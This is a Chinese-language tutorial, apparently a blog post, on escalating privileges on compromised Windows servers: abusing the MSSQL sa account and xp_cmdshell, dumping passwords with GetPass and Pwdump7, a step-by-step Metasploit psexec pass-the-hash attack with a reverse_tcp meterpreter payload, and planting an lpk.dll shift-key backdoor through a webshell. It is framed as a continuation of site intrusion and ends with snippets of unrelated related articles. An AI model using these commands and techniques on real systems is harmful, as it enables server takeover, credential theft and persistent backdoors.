提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

(一)、Mssql提权

必要条件:获取到mssql数据库最高权限用户sa的账号密码

Mssql默认端口:1433

Mssql最高权限用户:sa

得到sa密码之后,通过工具直接连接上去。

MSSQL自带了一个XP_CMDSHELL用来执行CMD命令。

(二)、GetPass 提权

一款获取计算机用户账号密码的工具

(三)、hash传递入侵 msf加载

Hash 算法:windows密码的加密方式

Msf下载:http://www.rapid7.com/products/metasploit/download.jsp

以下使用Kali演示

Msf使用:

msfconsole   //启动终端

use exploit/windows/smb/psexec //用到模块

show options //查看模块选项属性

set PAYLOAD windows/meterpreter/reverse_tcp   //设置漏洞利用载体

Show targets //查看模块的攻击目标属性

set LHOST //设置本机地址
set RHOST 192.168.0.254 //设置属性目标主机地址
set SMBUser administrators //设置属性用户

set SMBPass  xxx  //设置属性密文hash

目标主机的hash怎么获取了?可以通过Pwdump7这个工具来获取hash值

复制以下一段就行了

exploit  //开始攻击

获取当前shell,执行命令

(四)、lpk提权

触发:目录下存在exe文件被执行,他的特点是每个可执行文件运行之前都要加载该文件,windows系统是先判断当前文件目录是否存在此文件,如果目录下存在该文件则执行,如果不存在则会执行system32目录下的dll。

启动方案:3389远程桌面连接启动(连续shift,然后按热键)

提权方案:生成lpk.dll,通过webshell上传至文件目录,等待管理员去触发exe程序。

运行LPK Setch这个工具选择,2键启动,此时的2键3键值为LPK Sethc内置固定的数字,比如65,66就对应a与b。

然后点击生成,将生成的lpk.dll上传至任意目录,并运行其中的任何一个exe文件,lpk.dll将会自动替换为shift后门。

我这里把它生成到了软件的目录,然后点击运行软件

然后远程连接,连续按五次shift键,会出现下面的提示

接着同时按下组合键(也就是在哪里设置的65,66,对应的A,B),就会出现下面的密码框

输入密码,就会进入下面的界面!!!

还可以用来执行软件,比如用来开3389,在生成lpk.dll是选中

生成lpk.dll然后放到任意目录下,未执行软件之前远程是关闭的

然后执行exe软件,你好发现远程被打开了。

时间: 2024-08-09 19:54:07

提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权的相关文章

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击. 下面我们来了解下window的权限(来自百度百科): Windows 提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容. " 权限"(Permission)

Exchange Server 2016安装部署系列二: 邮箱服务器角色安装

本篇博文进入Exchange server 2016 安装部署系列的第二部分:Exchange server 2016的邮箱服务器安装,本文以exch01.itwish.cn 服务器为例进行演示安装,配置exch01.itwish.cn 服务器与exc02.itwish.cn作为Exchange server 2016 的邮箱服务器角色.对于该文章不完善之处,望在评论区指正,万分感谢 . 计算机准备 1.exch01.itwish.cn服务器定义计算机名exch01,ip 地址  172.16.

C#制作Windows service服务系列二:演示一个定期执行的windows服务及调试(windows service)

系列一: 制作一个可安装.可启动.可停止.可卸载的Windows service(downmoon原创) 系列二:演示一个定期执行的windows服务及调试(windows service)(downmoon) 系列三: windows service系列三--制作可控制界面的windows service 一.经常有人问起如何让程序定期自动执行? 除了像系统任务和SQL JOB/DTS等都可以满足不同的用户需求外,这里演示了如何做一个简单的windows serivce的框架.主要的功能是按照

Exchange Server 2013系列二:服务器角色

杜飞 在上一篇文章中,我们提到现在硬件性能的增加以及成本的下降,硬件已经不再成为软件应用的约束因素,特别是CPU,其 计算能力的成本显著降低.Exchange 2013 的主要设计目标是简化缩放.提高硬件利用率和实现故障隔离.Exchange 2013一开始将服务器角色的数目减少到了两个:客户端访问服务器角色和邮箱服务器角色,当然,升级到SP1之后也包含边缘服务器角色或者是边界网络中安装 Exchange 2007 或 Exchange 2010 边缘传输服务器角色.如下图所示: 客户端访问服务

windows下mongodb基础玩法系列二CURD操作(创建、更新、读取和删除)

windows下mongodb基础玩法系列 windows下mongodb基础玩法系列一介绍与安装 windows下mongodb基础玩法系列二CURD操作(创建.更新.读取和删除) 简单说几句 在mongodb中3元素:db(数据库).collection(集合).document(文档) 其中collection类似于数据库中的表,document类似于行,这样一来我们就将内容对比起来记忆学习了. 数据格式 MongoDB documents是BSON格式(一种类json的一种二进制形式的存

kafka环境搭建二---Windows客户端Linux服务器

一.对于服务器端的搭建可以参考上一篇文章:kafka单机版环境搭建与测试 服务器端IP :10.0.30.221 运行环境的目录如下: 需要改动config文件夹下的server.properties中的以下两个属性 zookeeper.connect=localhost:2181改成zookeeper.connect=10.0.30.221:2181 以及默认注释掉的 #host.name=localhost改成host.name=10.0.30.221 host.name不更改会造成客户端报

windows下mongodb基础玩法系列二CURD附加一

windows下mongodb基础玩法系列 windows下mongodb基础玩法系列一介绍与安装 windows下mongodb基础玩法系列二CURD操作(创建.更新.读取和删除) windows下mongodb基础玩法系列二CURD附加一 说在前面的话 在系列二中CURD只是简单的走了一下代码操作的流程,其中全是简单基础操作的内容, 在我仔细看完接下来的内容后决定再丰富一下前面的操作,并实战一个简单的demo出来,demo具体搭配语言暂时决定在PHP与nodejs之间. 增加内容至文档没说完

Hyper-V 2016 系列教程34 在局域网内架设Windows时间服务器

在企业局域网环境中,一般都会有独立的时间服务器(NTP),一般企业会用以Linux平台的CentOS架设成时间服务器,我们这里介绍一个更实用,更节省系统资源的方法,就是在企业的Windows Server域控制服务器上开启NTP服务器功能(另外也可以设定在一台比较闲的服务器上). 实验系统:WindowsServer 2106标准版(64位) Windows Server服务器中,默认情况下是作为NTP客户端工作的,NTP服务器是没有启动的,启动的方法是修改注册表,使系统切换成NTP服务器来运行

[CXF REST标准实战系列] 二、Spring4.0 整合 CXF3.0,实现测试接口(转)

转自:[CXF REST标准实战系列] 二.Spring4.0 整合 CXF3.0,实现测试接口 文章Points: 1.介绍RESTful架构风格 2.Spring配置CXF 3.三层初设计,实现WebService接口层 4.撰写HTTPClient 客户端,并实现简单调用 介绍RESTful架构风格 REST是REST之父Roy Thomas创造的,当时提出来了REST的6个特点:客户端-服务器的.无状态的.可缓存的.统一接口.分层系统和按需编码.其具有跨语言和跨平台的优势. REST是一